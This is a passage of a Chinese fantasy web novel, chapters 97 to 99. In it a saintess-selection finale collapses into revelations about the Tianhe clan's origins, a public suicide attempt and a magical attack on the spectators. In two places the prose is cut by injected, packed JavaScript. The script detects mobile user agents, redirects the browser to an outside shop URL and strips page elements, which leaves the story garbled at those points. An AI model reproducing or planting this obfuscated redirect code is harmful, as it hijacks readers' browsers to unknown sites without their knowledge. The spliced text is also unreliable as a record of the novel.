这是自天翮、化西乃至已成废墟的归德三城重归仙界治下以来,最为盛大的一场庆典。仙界各处皆以云雾屏同步直播,无数目光跨越山河,共同屏息期待着新任月翮圣女的诞生。 97. 第97章 我所在的贵宾席离观礼台极近,近得几乎能看清台上每位圣女候选人脸上最细微的表情变化。有无谓的淡漠,有暗藏的期待,有强作的平静,也有一闪而过的不耐——想来那漫长而严苛的集训,早已消磨了最初的热情,只余下些许麻木的倦意。 有些意外地,我竟在贵宾区瞥见了一个熟悉的身影——化西城前任城主,图拉。虽失了往日煊赫的权柄,但积攒的财富尚在,混个贵宾席位,倒也不难。 随着司仪彤宝姑姑清越的声音响彻全场,宣布决赛正式开始,山呼海啸般的欢呼声瞬间将我淹没。我抬头望向那片被瑶扇城映衬得格外湛蓝的天空,恍惚间,竟觉如置身幻梦。 我不禁想起了在彩虹崖边看日出时的情景,想起了我一层层剖开舒岸的胸膛,与他告别时的那一幕,想起了与穆青在幽黑深远的夜色中相拥告别,更想起了青莲山中,那片静谧安宁的树林,以及穿过层层叠叠的枝叶、轻轻落在我脸上的一束——温柔而永恒的暖光。 “哈啊——好困……”蜷缩在我发间沉睡许久的尾巴,终于悠悠转醒。他顺着我的发丝滑到耳侧,探出小半个光晕凝成的“脑袋”,好奇地望向高台,“我没错过什么大场面吧?” “还没,瞪圆眼睛好好看吧。”我伸手捏了捏尾巴,任由他将我的手指轻轻裹住,“你瞧彤宝姑姑,一副视死如归的表情呢。” “不得不说,这天翮族还真乐观,归德全城覆灭,他们还能欢乐得起来。” 我笑了笑,倒无意指责这样的情形,“毕竟人活着,总在追求快乐,若不然这日子,还有多煎熬。” “……这话听着有些耳熟?” “从煌木那儿学来的。”我望着台上,轻声道,“你别说,他真挺适合当个教书先生。”恰在此时,彤宝姑姑开始公布四位决赛候选人最终的人气投票结果,我唇角微弯,“小青总背着我偷偷向他讨教,看来……我也该多跟着学学才是。” “你不觉得他碍事么?”尾巴的声音里透出一丝罕见的迟疑,“他的出现,不会让你感到困扰或烦恼?” 我有些意外尾巴会这么想,侧过脸,用脸颊蹭了蹭他柔软的光晕,顺便给他也“染”上一点我晨起时涂的、厚厚的月羽花口脂,“不会啊。我连你这样的‘异物’住在身体里都不介意,又怎会介意在梦里遇见他?” 尾巴发出一阵低低的、宛如清泉流过鹅卵石般的轻笑,“天下最好的照夜,”他贴得更近了些,光晕温暖如初,“现在,全神贯注看看吧——谁,才是真正的月翮圣女!” 四位进入决赛的圣女候选人最终人气票数,既在意料之中,又有些出人意料。 绛霞仙人依旧稳坐榜首,盛放、环琛与那位存在感稀薄的甾甫紧随其后。 然而,盛放与绛霞之间的票数差距,竟仅有寥寥数票。这微妙的结果,让场中泛起一阵压抑的窃窃私语。 但无论如何,人气投票本身,在这古老的选拔中占比从来轻微,正如初赛时的“十二艺”考核,不过是为这场仪式增添些许点缀罢了。 紧接着的环节,却诡异到令人几乎不忍直视—— 四位候选人依次上前,开始模仿已故先代圣女棠梨的言行举止。她们努力摆出记忆中或想象中圣女应有的端庄仪态,甚至刻意捏细了嗓音,模仿起传闻里棠梨那柔和清澈的声线。 “噗……哈哈哈!”尾巴在我肩头笑得浑身乱颤,光晕波动得如同风中残烛,几乎要滚落下去。不仅是他,贵宾席上、乃至下方城中通过云雾屏观看的百姓之间,都爆发出一阵压抑不住的低笑。面对这荒诞的模仿秀,还能维持面色平静、甚至带着几分审视意味的,恐怕唯有高台主座上的渊寂、以及他身侧不远处的宏音与原途了。 我几乎能用脚趾在玉石地面抠出一座聆音石府。好不容易捱过这令人头皮发麻的环节,司仪彤宝姑姑的声音再度响起。 而接下来的内容,更是离谱、诡异到了令人发指的程度—— 下一项环节竟然是,模拟就任圣女宣言。 最先上台的,是那位存在感稀薄的甾甫。她有一副与圣女形象颇不相符的粗粝嗓音,内容也中规中矩:若她当选,将继续庇佑天翮族人安康祥宁。 接着登场的绛霞,脸上已毫不掩饰不耐烦的神色。她几乎是冷笑着,将那句万金油般的宣言原封不动地掷了回来——“成为圣女后,会继续庇佑天翮族人安康、祥宁。”显然,对这场看来啼笑皆非的选拔,这位绛霞仙人已忍耐到了极限,连敷衍的兴致都欠奉。若非与同门打赌输了,她断不会踏足此地。 就在尾巴在我肩头笑得前仰后合、光晕乱颤时,环琛的发言,更是石破天惊。 “我要求退出圣女选拔决赛。” 集训多日却未瘦分毫的环琛,此刻站在台上,坦然得令人侧目。那张漂亮脸蛋依旧能在瞬间攫取所有人的目光——魔界第一“胖”美人,倒也实至名归。 趁台下窃窃私语声渐起,我下意识望向原途——环琛的亲大哥。他脸上原本带着欣慰的松弛,毕竟妹妹主动退出,意味着他仍有机会将妹妹“运作”至魔皇身边。 只可惜,他高兴得太早了。 环琛的爆炸性宣言,还有后半截。 只见环琛深吸一口气,脸颊飞红,目光越过众人,直直望向贵宾席上那被裹成粽子、动弹不得的大铁棘,鼓起了这辈子所有的勇气,扬声道: “我不要当圣女!我要和我的偶像大铁棘——成亲、生娃!我这辈子,跟定他啦!” 哎呀妈呀!难怪这席位叫“贵宾席”,原来“贵”就贵在能近距离目睹此等百年难遇的炸裂场面!我此刻无比庆幸自己今日早早起床,没有错过这出好戏。 激动得差点站起身,我将目光穿过攒动的人头,落在那具“粽子”身上。大铁棘此刻除了瞪圆眼睛,接受环琛的求爱,也别无选择,毕竟已经是个连舌头都暂时不能用的粽子,安心当个粽子了即可。 无悔这家伙倒真是个性情中人,竟旁若无人地站起身来,用力鼓掌,仿佛代表他那无法出声的好兄弟给出了铿锵承诺,“好!说得好!有情有义,真乃侠义儿女!我替我兄弟——应下了!” 环琛羞赧地笑了笑,转而看向台上几乎要晕厥过去的彤宝姑姑,诚恳道,“不好意思姑姑,多谢您这些时日的教导。正是这段日子让我想明白一件事——人活一世,总要活成自己,才算不辜负。谢谢您!” 我连忙晃晃笑得快断气的尾巴,叫他赶紧打起精神,“别笑了!快竖起耳朵,听盛放的!” “我不行了照夜……”尾巴的光晕还在抖,“你快瞅瞅那边……那个魔族国师的脸……哈哈哈!” 岂止是我看,全场目光几乎都聚焦了过去。只见原途的脸色瞬息万变——从惊愕的苍白,到羞愤的涨红,最后竟隐隐透出青紫,他胸膛剧烈起伏,就差两眼一翻背过气去。这真是,好消息——环琛不想当圣女了;坏消息——她也不打算回魔界了。 再看宏音,对此番惊变竟置若罔闻,只是平静地对摇摇欲坠的彤宝姑姑微微颔首,示意流程继续。 终于,轮到了盛放。 她缓缓走到平台正中央,目光沉静地环视全场。那张总是带着桀骜张狂笑意的脸上,此刻竟流露出前所未有的沉郁与决绝。 四下陡然寂静,连风声都仿佛屏息。 盛放的声音清晰、平稳,却如一块巨石投入死水,激起了淹没一切的滔天巨浪—— “我盛放,若是成为月翮圣女……” 她顿了顿,每一个字都掷地有声,“第一件事,便是废除‘圣女’之制!接着,便要裁撤月教信女、守月卿、以及——” 盛放的目光,毫不避讳地掠过某个肃然的身影,“聆月使!” 死寂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549563|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 绝对的死寂吞噬了一切。 在这片凝固的寂静中,唯一发出声响的,是猛地从席间豁然起身的浩哥。他忘了身份,忘了场合,只是直直地、难以置信地瞪视着台上那个他视若亲女的姑娘。 而一直半阖着眼,仿佛对这一切漠不关心的渊寂,此刻,终于缓缓抬起了眼帘。 那双深不见底的眸子里,掠过一丝极淡的、近乎玩味的微光。 好似这场铺垫良久的大戏,直到此刻——才真正拉开了它血色的帷幕。 “什么月翮圣女!”盛放的声音因激动而微微发颤,却字字铿锵,砸在寂静的空气里,“为了这人造的偶像,信女便需自毁身躯、奉献所有,违逆者动辄私刑加身,半分仁慈皆无——这算什么信仰?!在我看来,不过是一群失了人心的暴徒,假借神圣之名,行禁锢之实!” 她紧紧攥着拳头,指甲深陷掌心,双目赤红,仿佛要喷出火来,“这等悖逆天理人伦的腐朽旧俗,早就该——彻底终结!” 脸色煞白的彤宝姑姑,意识到局面即将失控,慌忙上前想要将盛放拉下台。然而,另一个冰冷的声音截断了她的动作。 “呵……” 月终,月教信女的掌事,终于自人群中缓缓步出,登上高台。她嘴角噙着一抹毫不掩饰的讥诮冷笑,目光如冰锥般刺向盛放。 “真是有意思。”月终的声音不大,却清晰地传遍每个角落,“天翮一族最神圣的圣女尊位,竟要从这等货色之中诞生?” 就在这剑拔弩张的刹那,盛放袖口猛地一抖!一道森冷寒光乍现——她手中竟握着一把锋利的匕首!刀尖直指月终,盛放浑身颤抖,下唇已被咬破,渗出血丝, “月终——!今日,我定要为我阿娘——报仇雪恨!” “盛放!不可!”贵宾席上,目眦欲裂的浩哥猛地就要冲上前去,却被身旁的阿烈死死拽住。与此同时,四周警戒的天翮军与仙军瞬间刀剑出鞘,森然杀气弥漫开来。 “盛放,”月终面对利刃,非但不惧,反而向前踏了一步,语气带着一种残酷的玩味,“你能混到今日,站在此处,也算有几分本事。当初你卖掉月信石挂坠时,我还以为……你是认命了。” 她忽然深吸一口气,猛地抬起手臂,正对着那悬浮于空、将一切忠实记录的云雾屏,声音陡然拔高,响彻云霄,“诸位天翮族人,仙界同胞——今日,便让我来告诉你们!这些所谓的‘圣女候选人’,究竟都是些什么货色!” 她目光如刀,逐一扫过台上脸色各异的身影: “甾甫——他根本就是个男人!听闻圣女可享有巨富,便乔装改扮,混入其中,意图窃取财富!” 被点名的甾甫浑身一僵,面无人色。 “环琛——魔族贵女,视我族圣典为儿戏,不过觉着有趣,便来搅闹一番!” 环琛皱起眉头,却并未反驳。 “绛霞——仙帝高徒,不过是其师操控天翮的一枚棋子!妄图借圣女之位,将吾族彻底变为仙界的附庸!” 绛霞冷哼一声,别过脸去。 最后,月终的手指,如淬毒的箭矢,死死钉在脸色惨白的盛放身上,放声大笑,那笑声里满是恶意的快慰: “还有这个——杂种!” 盛放如遭雷击,浑身剧颤。 “闯月教院,触犯族规,被永久除名!后去月下州诬告未果,反成阶下囚!欲往灵璧城攀附,又因偷渡之罪再陷囹圄!盛放——”月终步步紧逼,声音尖锐如锥,“来啊!当着三界之面,告诉大家,你眼周那圈永远抹不掉的刺青——究竟代表着什么?!” 我心脏狂跳,下意识攥紧了怀中的尾巴,仙力在胸膛中悄然奔涌——随时准备出手。 只见盛放脸上的血色褪得干干净净,她惊恐地瞪大双眼,仿佛被瞬间拖回某个噩梦深渊,竟不受控制地踉跄后退了两步。 98. 第98章 天翮族的真相 “不敢说?那我替你说!”月终的声音如同从寒冰地狱传来,冻结一切生机,“你母亲丽娘,至死不肯承认你非她亲生,因而被信女施以私刑!而你——也被强行刺上代表‘信女不贞’的永久耻辱印记!” 她顿了顿,望着盛放摇摇欲坠的崩溃,继续抛出更残酷的真相: “不过,丽娘本就该死!当年她身为信女,私自逃离,按律当处极刑!可笑的是,她逃都逃了,竟又偷偷折返回来——你们猜是为什么?” 月终环视全场,一字一顿,“只是为了……拿走她藏在家里的一点积蓄,几枚利衡币!” “不……不是的……阿娘她……!”盛放终于崩溃,泪水汹涌决堤,举着匕首的手颤抖得几乎握不住,“阿娘她——她只是想凑点钱,给阿爹……修好那条船啊——!!!” 盛放嘶声哭喊,积压多年的悲痛与恨意轰然爆发,“你们……你们竟然就为此——杀了她?!你们还是不是人?!有没有半点人性——!!!” “盛放——!!!” 一声撕心裂肺的咆哮炸响!浩哥如同疯虎般挣脱了阿烈的阻拦,先一步摆脱天翮军,猛地跃上高台,用自己魁梧的身躯,死死将泪人般的盛放护在身后! 浩哥双眼赤红,额角青筋暴起,死死瞪着月终,几乎是从牙缝里挤出染血的质问,“盛放,你告诉阿爹,丽娘她当真……是死在这帮女人手里?!” “当初阿娘一去不回,我想去月教院问个明白……却被她们打了出来……再闯……就被刺上这印记……赶出了天翮城……”盛放倚靠着浩哥宽阔的后背,仿佛终于找到了支柱,泪水混着恨意滚滚而下,“这些年,我好不容易才混回月教院查清了阿娘的下落……” 盛放猛地抬手指向月终,声音凄厉如杜鹃啼血,“就是她们!以阿娘‘私逃出城、不守贞洁、对圣女不忠’的罪名——活活打死了她!!” 真相,如此简单,又如此残忍。 当年那个默默离开浩哥的温柔女子丽娘,竟是昔日不堪忍受压迫而逃离的月教信女。而她当年不告而别,冒险潜回已是危险之地的天翮城,为的竟只是——取出自己偷偷攒下的一点钱,想去帮那个木讷的船夫,修好那条早已朽坏、也许永远也用不上的旧船。 可彼时的长烬海,早已化作布满死灰的荒原。再也没有船,需要出航了。 “丽……娘……”浩哥怔怔地听着,这个憨厚了一辈子的男人,脸上每一道皱纹都在颤抖。巨大的悲痛、无边的愤怒、还有那深埋多年、未曾说出口的亏欠与爱意,在这一刻轰然交织、炸裂! “啊——!!!!”浩哥发出一声不似人声的野兽般的哀嚎,猛地夺过盛放手中那柄匕首,双目尽赤,如同被逼至绝境的困兽,朝着台上那冰冷微笑的月终——决绝地扑了过去! 像是耗尽了所有气力,月终沉沉地垂下手臂,脸上再无讥讽或冷厉,只剩下一种深不见底的麻木与疲惫,以及仿佛等待已久的释然。她甚至没有去看那朝她刺来的匕首。 “住手——!!!” 嘶哑的厉喝混杂着哭声! 只见彤宝姑姑竟猛地张开双臂,决绝地挡在了月终身前,死死攥住了浩哥持刀的手腕,那柄染血的利刃就停在离她心口寸许之处,微微颤动着。 彤宝姑姑眼中迸发出的光芒,是她此生从未显露过的锐利与痛楚。 “当初——月终身为信女掌事,只能依照千年沿袭、刻在骨血里的规矩……作出处决丽娘的决定!”彤宝姑姑的声音因用力而嘶哑,却一字一句,清晰如刀凿斧刻,“那时,棠梨圣女已逝多年,天翮族迟迟未有新的圣女诞生……化西、归德的某些人,便受了背后贼人的挑唆!他们就是想利用咱们天翮族这严苛的旧俗生事,借此离间天翮与月下州,好让——战火重燃啊!” 彤宝姑姑转向泪流满面、几乎崩溃的盛放,眼中蓄满泪水,却强忍着不肯落下,“盛放……我将你阿娘的故事告诉你,不是为了让你报仇……” 她的目光扫过眼前这对悲恸欲绝的父女,仿佛用尽了全身力气,才从颤抖的唇齿间,挤出那句沉重到足以压垮灵魂的话,“是为了……给一个思念母亲快要发疯的孩子——一个交代!一个她等了这么多年,应该知道的真相啊!” 泪水终于滚落,混着彤宝姑姑嘴角咬出的血丝,“盛放!姑姑不会骗你……丽娘她当年——是甘愿赴死的啊!哪怕她已经逃了出去……哪怕她知道回来凶多吉少……可她心里,依旧爱戴着已经死去的棠梨圣女……她宁愿一死,也不愿圣女当年为保全族人付出的心血……因自己一人之事,被那些歹人捏住把柄,毁于一旦!” 彤宝姑姑的声音哽咽破碎,却带着一种近乎悲壮的恳求,“咱们天翮族……不能再经历一次灭亡了啊……盛放!你明白吗?!” 月终此刻,才像是终于喘过了一口气。她轻轻、却坚定地拉开了彤宝护在她身前的手臂,弯腰,拾起了地上那柄染血的匕首。 她最后,遥遥望了贵宾席上一言不发的宏音一眼。 那一眼,复杂难言,有歉然,有释然,或许还有一丝……终于走到尽头的解脱。 “姑姑,”月终的声音轻得像叹息,“月羽树枯死了……便再也不会发芽。真正的圣女……也再不会诞生了。天翮族……其实早就该灭亡了。” 她苍白的脸上,浮起一抹虚幻的笑意,“咱们还在坚持什么呢?坚持着……在这仙军的铁蹄与监视下,苟延残喘,乞求一线早已不存在的‘生机’么?” 她握紧了匕首,目光扫过台下无数张或惊愕、或愤怒、或茫然的面孔,“就让这一切……到此为止吧。” 我瞳孔骤缩,这才意识到来不及了! 话音落下的瞬间,月终握刀的手腕,毫无犹豫地横向一抹! 噗嗤——! 温热的鲜血,如同压抑了太久的暗红色喷泉,猛地从月终纤细的脖颈间迸射而出!溅在彤宝姑姑惊骇的脸上,溅在光洁的玉石台面上,晕开一片刺目的红。 月终的身体晃了晃,却没有立刻倒下。她努力转向盛放的方向,沾满自己鲜血的嘴唇微微翕动,仿佛想挤出一个微笑,最终却只化作一声无人听清的呢喃。 对不起啊……丽娘…… “月终——!!!”最先扑到月终身边的,竟是桃夭!她几乎是撞开呆立当场的浩哥,跪倒在喷涌的血泊中,双手死死按住月终颈间那道恐怖的伤口,试图堵住那汹涌血流。温热的鲜血瞬间浸透了她的裙裾,晕开大片大片的猩红。 桃夭毫不犹豫地将自己的手臂塞进月终因痛苦而微张的口中,声音凄厉得变了调,“给我咬下去!你这个叛徒!懦夫!把这场面搅得天翻地覆,把最不堪的内里撕开给所有人看……现在你想一死了之,把所有烂摊子丢下?!我不准——我不准你死!听到没有!” 我僵在原地,只觉得呼吸被一只无形的手死死扼住,浑身的血液都仿佛凝固了。眼前这急转直下、彻底失控的惨烈景象,像一场荒诞而血腥的噩梦,让我连一根手指都无法动弹。 就在这死寂与血腥弥漫的极致混乱中,一直安静盘踞在我耳畔的尾巴,忽然用极轻、却足以震碎我全部神智的声音,缓缓开口。 “照夜,纵使是你那足足十万卷书中也并未提到吧,我想你也是头一次知道。天翮族早在一千三百年前,就随着月羽木的枯亡彻底消亡了。如今这个所谓的天翮族,不过是当时迁移而来的——流民。” “……灭亡了?” 尾巴不徐不疾,像是只在陈述一段不为人知的历史,“嗯。故而,再也不会诞生能够感召月辉的圣女了。毕竟——只有天翮族人体内独特的仙力,才可感召月辉。” 一直没有任何动作的宏音,此刻终于缓缓走到了台前。他在拼尽全力急救的桃夭旁蹲下身,掌心纯澈的仙力之水无声涌出,轻柔地将重伤的月终包裹起来,形成一层隔绝外界、维持生机的透明水膜。做这一切时,他的脸上没有惊慌,没有悲痛,只有一种漫长背负终于卸下的、深沉的释然。 “天翮族灭亡,”我听见自己干涩的声音在问,“是与怪物同归于尽了?” “算是吧。”尾巴的光晕平静无波,“毕竟他们当年面对的……是‘膣藟’的本体。其破坏力,远非后来这些分裂衍化的‘瘴母神’、‘无相孽’可比。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549564|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我松开不知何时已汗湿的拳头,目光掠过台上混乱的一切,最终落在贵宾席——那里,一直冷眼旁观的绛霞,此刻竟像是听到了什么极度可笑的事情,肩膀耸动,发出了一阵压抑不住的、近乎癫狂的大笑! 那笑声在死寂与血腥中格外刺耳。 我压低声音,几乎是本能地向尾巴追问,声音里带着自己都未曾察觉的颤抖,“尾巴……你为何会知道这些……连史书都未曾记载的……” 我的问题尚未问完。 台上,那狂笑不止的绛霞,已一步步,踩着尚未干涸的血迹,走到了最醒目的位置。她停下笑声,环视全场,目光最终落在正在救治月终的宏音身上,眼中充满了极致的嘲讽与快意。 “蝼蚁一般的……贱民。”绛霞轻轻吐出这个词,如同吐出最肮脏的渣滓,“给真正天翮族当了几天看门狗,捡了些残羹冷炙,便真以为自己翻身成了‘主人’?” 她微微歪头,看向宏音,语气轻佻而恶毒,“聆月使宏音大人——您博览群书,想必也听过祖上口耳相传、那些真真假假的‘光辉历史’吧?” 她向前一步,声音陡然拔高,尖锐得如同要刺穿所有人的耳膜,“怎么?有没有那个胆量——当着这三界众生、仙界万民的面,亲口告诉大家——” 宏音依旧是那一副沉静而刻板的神情,只是淡然看着绛霞,缓缓松了口气。这个秘密,他也守得很辛苦。 绛霞的脸上绽放出一个近乎狰狞的笑容,一字一顿,将最残酷的真相,血淋淋地撕开,抛掷在光天化日之下,“那就让我说出来!你们这些自称‘天翮族’的人——说到底,不过是一千三百多年前,跪求真正天翮族收留、苟活下来的——奴隶的后代而已!” 奴隶。 这个词,如同最后的丧钟,在弥漫着血腥的寂静中,轰然回荡。 本该喧嚣鼎沸的决赛会场,此刻却陷入了一种死寂的真空。静得能听见远处云絮流动的微响,静得能捕捉到每一道或惊骇、或茫然、或愤怒的呼吸。 宏音示意彤宝姑姑将月终迅速带离。随后,他缓缓直起身,沾染了少许血渍的袍袖在凝滞的空气中纹丝不动。他的声音平静得出奇,没有愤怒,没有辩驳,只是清晰平稳地,传入在场每一个人的耳中,如同在陈述一个早已镌刻在骨髓里的信念,“是,又如何?” 他目光扫过台下无数张面孔,最终落回绛霞那张因得意而扭曲的脸上。 “我等世代依从祖训,在此守候。守候真正的天翮血脉归来,守候这片土地的记忆不至湮灭。直至……血脉彻底枯竭,此身化为尘埃,亦永不离弃。” “哈……哈哈哈!”绛霞像是听到了最荒谬的笑话,笑声刺耳,“守候?不离不弃?宏音,少在这里摆出一副悲情忠仆的嘴脸!让我来告诉你一件——你或许从未知晓,或许不敢深想的‘往事’吧!” 绛霞刻意顿了顿,目光若有似无地瞟向高台主座上那位始终置身事外、宛如看戏的仙帝渊寂,深吸一口气,仿佛要将积蓄已久的毒液尽数喷吐。 “当年,你们那位‘心怀远志’的月翮圣女棠梨,曾在你前往映山都求援之时……悄悄去了灵璧城,跪在仙帝宫门外,乞求仙界庇佑!” 绛霞嘴角咧开一个恶意的弧度,声音陡然拔高,“可惜啊——!身为圣女,却连‘感召月辉’这最基本的能力都无法展现!她有什么资格面见仙帝?就这样……她在清冷的月光下,跪了整整十天十夜!而那轮月亮,你们天翮族奉若神明的月亮——自始至终,没有给她半点回应!哈哈哈!真是滑天下之大稽!” 说到此处,绛霞地指向台下所有脸色惨白的“天翮族人”,厉声尖笑,“贱民就是贱民!既没有能力庇护族人,为何不早早认清现实,听从仙界的劝告——归降?!弱小之人,最可贵的‘美德’,就是认清自己的位置!” “你胡说——!!!”我再也无法压制胸腔里翻腾的、无处可泄的怒火,霍然起身!声音因极致的愤怒而颤抖嘶哑,“煌木那时早已因伤陷入沉眠!他根本不可能感知到外界的祈求,更不可能作出任何回应!他绝不会——用这种残忍的方式羞辱棠梨!” 99. 第99章 宏音失控;绛霞来袭 话音出口的瞬间,我脑中仿佛有电光劈过! 猛地,我转头看向高台之上—— 渊寂依旧端坐,他的嘴角,正缓缓勾起一丝若有若无、冰冷如霜、又浸透着无尽贪婪的笑意。 那笑意,像一把钥匙,骤然打开了所有迷雾背后的铁门。 是他。 是渊寂代替了沉眠的煌木,“作出”了那冷酷的“决定”。 不……甚至谈不上“决定”。 在他眼中,玉山南迟早会成为怪物肆虐、仙力献祭的战场,一片注定沉沦的焦土……何须拯救? 可棠梨……那个被创造出来的、明知自己并无神力的“圣女”棠梨……她偏偏不肯认命! 即便她只是一个“伪造”的符号,即便她比谁都清楚自己的无力,她也倔强地跪在月光下,用最卑微的姿态,向那片沉默的苍穹,乞求着一线渺茫的生机——为她身后那些依赖她、信仰她的族人。 “棠梨……”我喃喃出声,心脏像是被一只冰冷的手狠狠攥紧。 不等我冲上前去质问,场中异变陡生! 一直以来,如同最深沉的潭水般克制、将所有情绪掩埋在平静之下的宏音——爆发了。 “呃啊啊啊——!!!” 一声仿佛源自灵魂最深处、混合着积压已久的愤怒、被戳穿真相的剧痛、以及信仰被践踏的极致哀恸的怒吼,如同九霄惊雷,悍然撕裂了瑶扇城上死寂的帷幕! 宏音周身,原本内敛沉静的仙力轰然沸腾!磅礴的水行之力引动四方云气,瑶扇城周遭缭绕的云雾仿佛被无形的巨手搅动,疯狂汇聚、旋转! 刹那间,一道由最精纯的仙力与水汽凝聚而成的咆哮巨浪凭空显现,高达数丈,裹挟着湮灭一切的威势与滔天怒意,朝着台上冷笑的绛霞,铺天盖地地轰然拍下! “照夜——!”几乎就在宏音爆发的同一瞬,尾巴的光晕骤然紧缩,死死攥住了我的一缕发丝,那力道带着前所未有的警讯。 而台上,面对这足以将自身碾碎的恐怖攻击,绛霞嘴角那抹恶毒的笑意非但没有消散,反而愈发深刻,勾勒出一丝……计谋得逞的冰冷弧度。 她不闪不避,甚至微微扬起了下巴。 仿佛,她等待的——正是这一刻。 不闪不避,绛霞玉指轻抬。 刹那间,千百道绚烂的流霞锁链自她身后虚空爆射而出,如同拥有生命的、燃烧着瑰丽毒焰的灵蛇!然而,它们的锋芒所指,竟非宏音,而是观礼台上那些正惊恐仰望的数百贵宾!! 锁链破空,尖啸刺耳,死亡的阴影瞬间笼罩而下! “糟了——!” 我心中警铃大作,腰间却骤然一紧——下一秒,整个人便被一股不容抗拒的蛮力狠狠抛出了瑶扇城边缘! “可恶!好恶毒的女人!”尾巴的光晕在我脱手的瞬间暴涨延伸,死死缠住了瑶扇城下方巨大的玉石扇骨,硬生生消解了那道锁链的拖拽之力,随即又如弹性惊人的绳索般将我猛地拽了回去!“嘶……好痛!一般不能把我当绳索用……破例一回……嘶嘶嘶,骨头要散了……” 风声在耳边呼啸。我望着身边不断惊叫着坠落的人们,顾不上回应尾巴的抱怨,用尽全力嘶声大喝,“焉耆——!焉耆——!” “咻——!” 一道黑色的闪电几乎在我呼喊落下的同时,撕裂空气,闪现至我身畔!正是焉耆所化的巨兽之影。我在被尾巴甩荡回去的惊险瞬间,奋力摸了摸它墨汁般的毛发,急声道,“快去!帮忙救人——!” “嗷呜——!!” 不待我追问,尾巴立刻翻译,“焉耆说——‘老子机灵得很,老子明白啦!’” 我再次踉跄落地,尚未站稳,却见焉耆并未冲向那些如雨点般坠落的人群,而是调转方向,化作一道黑色流光,直扑向半空中正竭力操控水雾的宏音! 只见不远处的宏音瞳孔骤缩。面对这围魏救赵的毒计,他竟硬生生将那股原本轰向绛霞的滔天巨浪凌空震散! “轰——!” 巨浪炸开,化作漫天晶莹浓白的水珠,每一颗都蕴含着宏音精纯的仙力,迅疾如电,精准地扑向那些被流霞锁链缠住、正绝望下坠的仙民与贵宾! 水珠在炽烈的天光下折射出虹彩,旋即化为轻柔却坚韧的水雾之网,温柔而迅猛地托住了那些下坠的身影。虽然只是暂时的缓冲! 但是,这就足够了! 焉耆的速度,快得超乎想象! 与此同时,反应过来的天翮军已如银潮般涌出施救。而无悔、桃夭、盛放、阿烈、浩哥、环琛,甚至挣脱“粽子皮”的大铁棘亦加入了营救! 恰在此刻,高空之中,传来绛霞冰冷而充满讥讽的声音,如同跗骨之蛆,钻入每个人的耳朵,“愚不可及……宏音,弱小如你这般的卑贱之躯,也妄想学什么圣女庇护族人的蠢行?我便叫你亲眼看看——与命运作对,任你是谁,皆毫无胜算!” 话音未落,异变再起! 那原本四散射出的流霞锁链,仿佛拥有生命般骤然回卷、聚合!化作一道铺天盖地、遮蔽了半个天空的霞光洪流,带着撕裂灵魂般的尖啸,从上下四方每一个角度,朝着中央的宏音绞杀而去!锁链上流转的眩目光芒,仿佛能吞噬心神,让任何目睹者头晕目眩,失去抵抗的意志。 我此刻心急如焚,仿佛自己的心脏也被那些锁链死死缠住,我用尽全力嘶吼出声,声音里带着与他同频的愤怒与恐惧,“宏音——小心——!!!” 趴在我肩头的尾巴,此刻却异常冷静,光晕微微收缩,如同眯起的眼睛,“别慌,照夜……好好看着吧。看看这位‘棋友’,被逼到绝境时,究竟能拿出几分真本事。”他的声音里,竟隐隐透着一丝期待,“毕竟他当年,可是连仙帝都曾侧目、有机会跻身鸿珠位阶的惊世新秀啊。” 此时,与我一同站在原地、未曾参与救援或混乱的,唯有纹丝不动、如同雕塑的护卫仙军,神色复杂沉默的瑶扇仙人,以及…… 不知何时,已缓步走到我身侧的渊寂。 玄色的衣袍在混乱的气流中安然垂落,他的目光悠然投向空中那场绝杀,仿佛在欣赏一幕精心编排的戏剧。 “照夜,”渊寂忽然开口,声音平淡无波,却在我耳边清晰地响起,带着一种告知天气般的随意,“忘了告诉你。绛霞与星允早已情投意合,私定终身。她此举……不过是为了向宏音酿造的那坛,助大铁棘得胜、从而重创星允的‘醉仙酒’——复仇罢了。” 我猛地转头,死死凝视着渊寂近在咫尺的侧脸,心脏如坠冰窟,“就为了复仇……便如此利用这些手无缚鸡之力的无辜百姓?!” 渊寂并未看我,目光依旧锁定空中那绚烂而致命的霞光洪流,以及其中那道略显孤寂的蓝色身影。他的喃喃自语,轻得像一声叹息,却又重得仿佛命运的判词,“无妨。便让吾亲眼看看……这曾身为天翮族最下层流民的血脉,为守护那个早已无人记得的‘约定’,究竟能——爆发出何等耀眼,或何等不堪的力量吧。” 那一端,被霞光锁链重重包围的宏音,深吸一口气,眼中的怒火与惊痛竟如潮水般退去,重归一片深潭般的冷静。他并未试图躲避这看似天罗地网的绞杀,而是双手结印,瞬间,他周身涌现出无色、无味、纯粹到极致的磅礴纯水。 “水相·万映标记。” 一声低喝,那纯水与仙力凝结的造物并未化作坚盾或利矛,而是轰然崩散,化作亿万颗细微到极致、几不可察的莹润水珠!这些水珠仿佛拥有独立的意识与使命,以不可思议的速度、带着极强的附着性,主动迎向每一道自四面八方袭来的流霞锁链——无论实体,还是幻影! 精准附着,无一遗漏。 奇迹,在霎时间发生。 所有被“标记”的锁链,表面都覆盖上了一层极薄、却始终流动不息的清澈水膜。在这层特殊水膜的折射、映照与干扰下,锁链本身那绚烂夺目、惑乱心神的霞光被扭曲、淡化、解析。那原本虚实难辨、令人眼花缭乱的千重链影,再次变得清晰可辨——哪一道是虚晃的诱饵,哪一道暗藏杀机,哪一道是力量的节点,一目了然! 